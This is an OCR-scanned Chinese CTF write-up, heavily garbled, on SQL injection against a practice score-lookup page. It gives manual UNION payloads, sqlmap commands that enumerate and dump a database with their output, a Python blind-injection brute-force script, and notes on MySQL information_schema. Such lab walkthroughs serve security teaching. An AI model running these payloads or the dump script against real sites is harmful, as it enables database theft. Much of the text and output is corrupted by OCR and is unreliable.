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FEENF R E Emsysqlifl KA E

select 1,database(),version();// 2 #) $H B S BRI R A

select * from information_schema.schemata //%t#& & T K1 BT & £ schema_name="mysq|'

information_schemafs B ¥EE . H AP {R7FEE X T MySQLAR 55 2% A 4k 37 1 B A HoAth B8 2 1045 2, SCHEMATA
F: AT HURTmysqlSLlHETE IR ERE R

SELECT * FROM information_schema.TABLES where table_schema="mysql//$# EEmysql i J* T BB %
table_name

SELECT * FROM information_schema.COLUMNS where table_schema="mysql' and table_name='db" ;//%& {4 %
1% P table_schema ,& %&table_name

select USER from mysql.db /25 #) 5 B
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1. BEBRESL:

i#iZid=0' union select 1,2,3,database()#
1HIERERS

2 3 skotl_flag

18 B 0¥E FE 44 F-skctf_flag
(2) RIFHRE:

Bt ¥ A id=0" union select 1,2,3,group_concat(table_name) from information_schema.tables where
table_schema=database()#

1BIpRERER

2 3 14g:s¢

BRIR4L: flag,sc
(3) BFE

iBitid=0" union select 1,2,3,group_concat(column_name) from information_schema.columns where
table_name=0x666c3467# //iX B & & 163 ) 51t



1B9REERE

2 3 SKetl_flag

B3| 7B: skctf_flag
(4 BEERHE,
B fFEH: id=0" union select 1,2,3,skctf_flag from fl4g#
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1. bpitt
BANAFHBATIE

POST /chengiidan/ index.php HTTP/1.1

Host: 120.24.86.145:8002

User-agent: Mozilla/S5.0 (Windows NT 6.1: £v:61.0) Gecko/20100101 Firefox/61.0
Acecepr: texc/html,applicacion/xhtml+xml, application/xml:g=0.9,*/*;q=0.8
hcceprt-Language: zh-CN, zh:gq=0.8, zh-TW:g=0.7, zh-HK: q=0.5,&n-U3; g=0.3, en: g=0.2
hcocepr-Encoding: gzip, deflate

Referer: http://120.24.86.145:8002/chengjidan/

Content-Type: application/x-www-form-urlencoded

Content-Length: 4

Connection: keep-alive

Upgrade=-Insecure=-Requeats: 1

id=1

RIEIHAH, rificopy to fileffR A X, XEBERARFS T CH 333.txt



ms | headers hex

agjidan/index.php HTTES1.1

.24.86.145:8002

z: Mozilla/S5.0 (Windows NT 6.1; rv:61.0) Gecko/Z0100101 Firefox/61.0
=xt/html, application/xhtml+xml, application/xml;gq=0.9, %/ *:q=0.8
agquage: zh-CW, zh:q=0.8, zh-TW; g=0.7, zh-HE; q=0.5,en-U5;:g=0.3,,en;qg=0.2

zoding: gzip, deflate 3
attpi//120.24.86.145: 8002/ chengd idan/ choose a file to save to [E

ype: application/x-wwy-Lform-urlencoded
sngth: 4 . i C: = = 00 | O—
1: keep-alive 717 | S B (C) s i T ) e
asecure-Requests: 1

3 AMD [ PerfLogs
] CTF [ Program Files
] Intel [ ProgramData
[ Linuxgsd, 3 Python27
] MSDEV ] Windows

[ MSOCache [ Users
[ MyDownloads

ik (3330
R RRRZRE -

{347 CUE]

2. sqlmapJFiERE:

sqlmap.py -r “C:\333.txt” -p id —current-db

-r —> E—A 30

P >HEESH

—current-db —>FKEU4 BT EIE ELFR Ccurrentri & BN

B SES: SQLMap Lo | B st

[ 1L 1 testing connection to the target URL
sglmap resumed the following injection point{s> from stored session:

Parameter: id (POST>
Type:=: ANDAOR time—hased blind
Title: MySQL >= 5.8.12 AND time—based blind
Payload: jid=1' AND SLEEP<(5> AMND *dicW’ ='dicW

Type:= UNION query

Title: Generdic UNION gquery (NULL> — 4 columns

Payload: id=-3137' UNION ALL SELECT NULL.NULL.CONCAT<(Bx7178626271,.8x474bhbcde
4541 4Ff627244534a795066774f 6e434e 736258565 77567555575714369434c5248626443 . Bx?164a6
/6710 MULL— kJjY¥
L 1 [INFO1 the back-end DBMS is MySQL
hack—end DBMS: MySQL >= 5.8.12
[ 1L 1 fetching current datahbase
current database: ‘skotf_flag’
[ 1L 1 fetched data logged to text files under ‘C: lUszers dmt>.zqlmap
output~128_24_86_145"'

[#] shutting down at 18:55%:-21




A DAE BB R R skctf_flag' BB B2 BR
sqlmap.py -r “C:\333.txt” -p id -D skctf_flag - -tables
-D —>i & B e A R
—tables —> %1 H ¥4 2 ) K (tables i & Bi 1)
& SES: SQLMap E=NECE x|

Title: Generic UNION query C(MULL> — 4 columns

Payload: id=-3137' UNION ALL SELECT NULL.NULL,CONCAT (8x7178626271 .8x474bbcde
4541 4f 627244534a775066774F6e434e?3625056577569555575714369434c5248626443 . Bx716ab
a7671) NULL— kdJjY¥

1 [INFO1 the bhack-end DBMS is MySQL
back—end DBMS: HMySQL >= 5.8.12
1L 1 fetching tabhles for database: ‘skctf_flag’
1L 1 used 5QL guery returns 2 entries
1L 1 vesumed: fldg
1

L 1 rezumed: s=sc
Datahase: skctf_flag
[2 table=s]

11 1 fetched data leogged to text files uwnder 'C:lUserssdmts_sglnap
output~128.24_86.145"

[#] shutting down at 11:86:38 11 1g.csdn.net/zs

ADEILETEIREFERHANER, RUEE, flaghixfEflldgRs, THRRZBHEFRNFERT
sqlmap.py -r “C:\333.txt” -p id -D skctf_flag -T fldg —columns

-T >R ERBIR

—columns =%t R K FE

B EES: SQLMap ~» B PGEE § ¥ R=RR=n *|

Title: Generic UNION guery CHULL> - 4 columnsz
Payload: id=-3137’ UNION ALL SELECT HNULL.NULL,COMCAT(Bx7178626271.0x474b6cde
45414f627244534a795066794f 6e434e?3625056577569555575714369434c5248626443 . Bx716ab
a?671> MULL— kJjY¥
[ 1 [INFO1 the bhack-end DBME is MuEQL
bhack—-end DBMS: HMySQL >= 5.8.12
L 11 1 fetching columnz for table *‘fld4g’ in database 'skctf_flag’
L 11 1 used SQL query returns 1 entries
Database: skctf_flag
Tahle: fldgq
[1 column]

shketf _flag

————— e ——— —

L 11 1 fetched data leogged to text files uwnder 'C:lUserssdmts_sglnap
output~128.24_86.145"

[#] shutting down at 11:12:48

fldgR 1 — A4 Hsketf_flagF B, HJGFIHFBAS B AT LAk,
sqglmap.py -r “c:\333.txt” -p id -D skctf_flag -T fldg -C skctf_flag —dump
—dump —>%1 i Z BB (dump AT A B A-)



B EES: SQLMap (=[5 —c—

[ 1L 1 used SQL guery returns 1 entries

[ 1L 1 in case of continuous data retrieval problems you are advis
ed to try a switch '——no—cast’ or switch *—hex'

[ 1L 1 fetching number of column<s?) ’‘skctf_flag’ entries for tahle *f
14g* in databhase ‘skctf_flag”’

L 1L 1 rezumed: 1

L 11 1 resumed: BUGHKU{Sgl_INJECTHN_4813drd8h=4>

Datahase: skctf_flag

Tahle: fl4g

[1 entryl

1L 1 table ‘skectf_flag.fl4g’' dumped to CSU file 'C:lUsersdmt>.sglm
ap~output~120.24. 86 145 dumpsskctf_flag~fld4g.csu’
[ 1L 1 fetched data logged to text files under 'C:slserssdmts.sglmap
output~128.24.86.145"

[#] shutting down at 11:37:24

=. python sql§
A MiEid=1"and 1=1#80UR Bl ST, id=1"and 1=2#A 2R B St. Al LA X I8 /AT AR A R B i

i B:S

# -*- coding:utf-8 -*-
import requests
import re

url = "http://120.24.86.145:8002/chengjidan/index.php"

base_payload = "1' and if(ascii(substr({data},{len},1))>{number},1,0)#" #if(prepl.prep2,prep3) &HxXKiExprepl

#base_payload = "1' and if(ascii(substr(select table_name from information_schema.tables where table_name=d
#payload = "database()" #skctf_flag

#payload = "(select table_name from information_schema.tables where table_schema=database() limit ©,1)" #f1
#payload = "(select column_name from information_schema.columns where table name='fl4g' limit ©,1)" #skctf_

payload = "(select skctf_flag from fl4g limit o,1)"

information=

for m in range(1,50):
for i in range(32,129):
post_data = {"id":base_payload.format(data = payload,len = m,number=i)}
r = requests.post(url,post_data)
resultarr = re.findall(r"<td>(.+?)<td>",r.text)
result = ''.join(resultarr)
#print result
#print r.text
#print post_data
if '6@' not in result:
information += chr(i)
break
print information

payload A\ LB FKIKRA T BEIBIEELE, flagksé, flagFBs, flag
FIR A



MySQLHinformation_schemaf 4
wordpressEHL, HEE

RFEZZHFAMYSQLE, KUK T B CZENEHIEELSL, EF —4information_schemai#z & .
information_schema$ & B R iH 4 A IWE, 18 FHWordPresstE & IR A AT AE A8, AR 2 SRR R b i B
FEWF? BRAR XE G, fREt&Stinformation_schema$iiE A B T &

information_schema%it# FE & MySQL B # i), B4 T U7 R E ndE s X Ha R usdEe? ik =2
RFHIEIEIE, WBEEELRRS, FINEEEE, SRS, AREHTRRZEEHHBRER
B YA REER.

fEMySQLH, ## information_schema HE£—/MNIEE, #YIWREBEIEE. HPRESERXRTMySQLRS
BT A HMBEEENGEE. WEEESR, BEENR, REMNBERE ST AN BE. £
INFORMATION_SCHEMAH, HHARiEE. ek LA, MAREARER, Fik, REEZEEISZH
RIEAT S

information_schema$#i& & 2% 1 B3 :
SCHEMATAR : 4t 7 X FTmysqlsfl F a8 E 1115 B.. Zshow databasesi) 4 REUZ M3 .

TABLES®E: RHEETRTFHEBEFHRHEE (BEMRED . #4HRRE T ENRETHAschema, REH, £
B4, AR %58 . &show tables from schemanameff14; £ B 2 K% .

COLUMNSZR: #R4tTRHHIIELE. HHRRE T IHKRWTAE S U EREANFINEE. &show columns from
schemaname.tablenameff) 45 2 Bl 3% .

STATISTICSF: #MHtTRTHRZESIKEE. £show index from schemaname.tablenamef) 4 £z % .

USER_PRIVILEGES (HP#UFR) &: S TR TEEMNRKER . &5 BIRBmysql.userZ k. ZIFfniE
Ko

SCHEMA PRIVILEGES (F&BR) &: SHHTXRTHR (FEE) BURKER. %15 8k Emysql.dbizil
Ko RIERHER.

TABLE_PRIVILEGES (EM[R) #£: S TRTEMRKELE . %15 BIE Hmysql.tables_priviZiE. £IEtR
HR,

COLUMN_PRIVILEGES (FIBFR) &: 4 TR TIIMRKER . %15 B Hmysqgl.columns_priviziig. &
FEFRHER

CHARACTER_SETS (F#f%) ®: #R4t T mysqlSEBITTHFHFEKER . £SHOW CHARACTER SET4i 4
Bz .

COLLATIONS: #ft TR THEFRENXMEEE .

COLLATION_CHARACTER_SET_APPLICABILITYZ: #5887 o H TR FRE. XEFEHRTSHOW
COLLATIONHIHT S B F B o

TABLE_CONSTRAINTS®%: #iiR T HFEARKME. ULRKLRRKEY,
KEY_COLUMN_USAGEZE: #iiik T B HAHRK#S].

ROUTINES: Rt T XRTHETESF (FHEFMRED KERE. W, ROUTINESEAEE B E L EE
(UDF) . % A“mysql.proc name” #5115 B T %t BT INFORMATION_SCHEMA.ROUTINESZ ffimysql.proc®
5.

VIEWS®: % TR THHEEPHMEREE. FEAshow viewstUR, BN TLEEFEUEIEER.



TRIGGERS®%: #ft T X THMABEFKEE. LAHsupertl R4 RREF %R
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=

=
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